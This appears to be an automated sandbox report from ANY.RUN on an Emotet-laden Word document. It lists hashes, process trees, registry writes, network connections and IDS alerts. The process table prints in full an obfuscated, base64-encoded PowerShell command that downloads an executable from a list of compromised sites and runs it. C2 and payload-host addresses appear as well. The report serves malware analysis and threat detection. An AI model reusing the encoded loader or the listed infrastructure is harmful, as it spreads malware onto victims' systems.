| download: | 3k2yxczqa-017872-15130767-6fcy299dtf-5p8y1zk |
| Full analysis: | https://app.any.run/tasks/d36dd2f7-c393-448f-99ab-2bb74e800044 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | December 06, 2019, 15:11:30 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: In reprehenderit omnis., Author: Timothy Brettschneider, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Dec 6 12:56:00 2019, Last Saved Time/Date: Fri Dec 6 12:56:00 2019, Number of Pages: 1, Number of Words: 58, Number of Characters: 337, Security: 0 |
| MD5: | E4F3A60CAF2EF5C6CDD0CB47606E1203 |
| SHA1: | B1AF084E27AE08C3FE406334D636ACDEA8C7F60E |
| SHA256: | 0D3429C3EBDD61F1790C0E59DC0CBE12D702414AB270DB19714BF218523483C0 |
| SSDEEP: | 6144:xdv65YoA4CXDM2k4utGiL3HJk+yD7bCA8ejy9:xdv65YoA4CXDM/Qitk57bh8eG9 |
MALICIOUS
Application was dropped or rewritten from another process
- 535.exe (PID: 272)
- 535.exe (PID: 2196)
- serialfunc.exe (PID: 3792)
- serialfunc.exe (PID: 252)
Connects to CnC server
- serialfunc.exe (PID: 252)
Emotet process was detected
- 535.exe (PID: 272)
EMOTET was detected
- serialfunc.exe (PID: 252)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 2536)
PowerShell script executed
- powershell.exe (PID: 2536)
Creates files in the user directory
- powershell.exe (PID: 2536)
Executable content was dropped or overwritten
- powershell.exe (PID: 2536)
- 535.exe (PID: 272)
Starts itself from another location
- 535.exe (PID: 272)
Application launched itself
- serialfunc.exe (PID: 3792)
Connects to server without host name
- serialfunc.exe (PID: 252)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 820)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 820)
Reads settings of System Certificates
- powershell.exe (PID: 2536)
Dropped object may contain Bitcoin addresses
- powershell.exe (PID: 2536)
- 535.exe (PID: 272)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | In reprehenderit omnis. |
|---|---|
| Subject: | - |
| Author: | Timothy Brettschneider |
| Keywords: | - |
| Comments: | - |
| Template: | Normal.dotm |
| LastModifiedBy: | - |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:12:06 12:56:00 |
| ModifyDate: | 2019:12:06 12:56:00 |
| Pages: | 1 |
| Words: | 58 |
| Characters: | 337 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | - |
| Lines: | 2 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 394 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| CompObjUserTypeLen: | 25 |
| CompObjUserType: | Microsoft Forms 2.0 Form |
Total processes
41
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 252 | --d6864438 | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | serialfunc.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 272 | --6e6396f5 | C:\Users\admin\535.exe | 535.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 820 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\3k2yxczqa-017872-15130767-6fcy299dtf-5p8y1zk.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 2196 | "C:\Users\admin\535.exe" | C:\Users\admin\535.exe | — | powershell.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
| 2536 | powershell -w hidden -en JABLAHYAcQBsAHMAdAB0AGQAZwA9ACcAVgBqAHUAZAB1AHgAbgBsAHEAYQBjAHoAZAAnADsAJABTAGIAawB5AGcAdQBlAHkAYQB5ACAAPQAgACcANQAzADUAJwA7ACQAUwBrAG4AbQBnAHYAdgBvAHkAPQAnAE4AeABuAGsAYwBlAGIAbwAnADsAJABEAGEAeQB1AGsAbwBnAHIAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwBiAGsAeQBnAHUAZQB5AGEAeQArACcALgBlAHgAZQAnADsAJABRAGsAYgBuAG0AcgBlAGgAdwBuAD0AJwBOAGEAcwB0AGMAdABhAG4AZgBlAHoAJwA7ACQARgBqAGkAeQB0AGoAbAB1AGIAZQByAHcAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAYwBsAEkARQBuAFQAOwAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgByAGoAbwAuAGMAbwBtAC8ANgBwAHEAYQBtAHkANAAvADIAYQBnAC8AKgBoAHQAdABwADoALwAvAGEAaQByAC0AbwAtAHQAcgBpAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE4ARwAyAC8AKgBoAHQAdABwADoALwAvAGkAbgBmAC4AYQB3AHcAdABoAGkAbgBnAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8ANgBsAC8AKgBoAHQAdABwAHMAOgAvAC8AawBhAHIAeQBhAGsAcgBlAGEAcwBpAG4AZABvAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AOQB6AHQALwAqAGgAdAB0AHAAcwA6AC8ALwBnAGUAbQBzAHQAYQB0AGUAZABlAHYALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG4AYwAvACcALgAiAHMAUABgAGwASQBUACIAKAAnACoAJwApADsAJABPAGQAcAB6AHUAYwB6AG4AdABiAHoAbQB6AD0AJwBSAGcAYwBoAGUAdwBqAG0AcgAnADsAZgBvAHIAZQBhAGMAaAAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0AIABpAG4AIAAkAEsAdABmAGcAcwB0AGIAZQB6AGsAcwB5AGYAKQB7AHQAcgB5AHsAJABGAGoAaQB5AHQAagBsAHUAYgBlAHIAdwAuACIARABPAGAAVwBuAEwATwBgAEEARABgAEYAaQBMAGUAIgAoACQAQwB3AG4AbQByAGUAeQBhAGwAbQBwAG0ALAAgACQARABhAHkAdQBrAG8AZwByAGcAKQA7ACQASQBvAGEAZwBsAGsAZgBuAD0AJwBPAGgAYgBsAHkAZQB1AHoAcwBnAGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABEAGEAeQB1AGsAbwBnAHIAZwApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMwA5ADkANgA4ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgB0ACIAKAAkAEQAYQB5AHUAawBvAGcAcgBnACkAOwAkAFkAYwBzAHEAZABlAHEAeQBwAHMAdABsAG0APQAnAFAAZwBsAHUAcQBkAHoAYQB3AGYAcwAnADsAYgByAGUAYQBrADsAJABaAGMAeQBpAHMAZQBoAGoAcgBwAGsAPQAnAFEAcgBpAHIAbgByAGgAagBkAGEAcgBmAGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQgB3AGwAawBwAGQAeQBtAHQAbABzAGgAZgA9ACcAUgBiAGEAdABtAGgAcwBlAHIAYQBoAGQAdgAnAA== | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3792 | "C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe" | C:\Users\admin\AppData\Local\serialfunc\serialfunc.exe | — | 535.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Modules
| |||||||||||||||
Total events
2 325
Read events
1 477
Write events
711
Delete events
137
Modification events
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | 7&` |
Value: 3726600034030000010000000000000000000000 | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1041 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1046 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1036 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1031 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1040 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1049 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 3082 |
Value: Off | |||
| (PID) Process: | (820) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1334181950 | |||
Executable files
2
Suspicious files
2
Text files
0
Unknown types
7
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRDEB7.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\937167ED.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D24FB50A.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1E282D83.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FBF781A8.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\12A28589.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BDD65DF6.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3A58C97F.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\431D574.wmf | — | |
MD5:— | SHA256:— | |||
| 820 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E9E80EE5.wmf | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
3
TCP/UDP connections
7
DNS requests
4
Threats
4
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
252 | serialfunc.exe | POST | — | 107.2.2.28:80 | http://107.2.2.28/u3xGRxgUtpoAtIfnD | US | — | — | malicious |
2536 | powershell.exe | GET | 200 | 104.28.30.186:80 | http://air-o-trip.com/wp-admin/NG2/ | US | html | 3.97 Kb | shared |
2536 | powershell.exe | GET | 301 | 209.97.150.99:80 | http://www.rjo.com/6pqamy4/2ag/ | US | html | 162 b | unknown |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2536 | powershell.exe | 209.97.150.99:80 | www.rjo.com | — | US | unknown |
2536 | powershell.exe | 209.97.150.99:443 | www.rjo.com | — | US | unknown |
2536 | powershell.exe | 104.28.30.186:80 | air-o-trip.com | Cloudflare Inc | US | shared |
252 | serialfunc.exe | 107.2.2.28:80 | — | Comcast Cable Communications, LLC | US | malicious |
2536 | powershell.exe | 104.28.0.203:80 | inf.awwthings.com | Cloudflare Inc | US | shared |
2536 | powershell.exe | 101.50.1.17:443 | karyakreasindo.com | PT. Beon Intermedia | ID | malicious |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.rjo.com |
| unknown |
air-o-trip.com |
| unknown |
inf.awwthings.com |
| unknown |
karyakreasindo.com |
| malicious |
Threats
PID | Process | Class | Message |
|---|---|---|---|
252 | serialfunc.exe | A Network Trojan was detected | ET CNC Feodo Tracker Reported CnC Server group 2 |
252 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M5 |
252 | serialfunc.exe | A Network Trojan was detected | ET TROJAN Win32/Emotet CnC Activity (POST) M6 |
252 | serialfunc.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |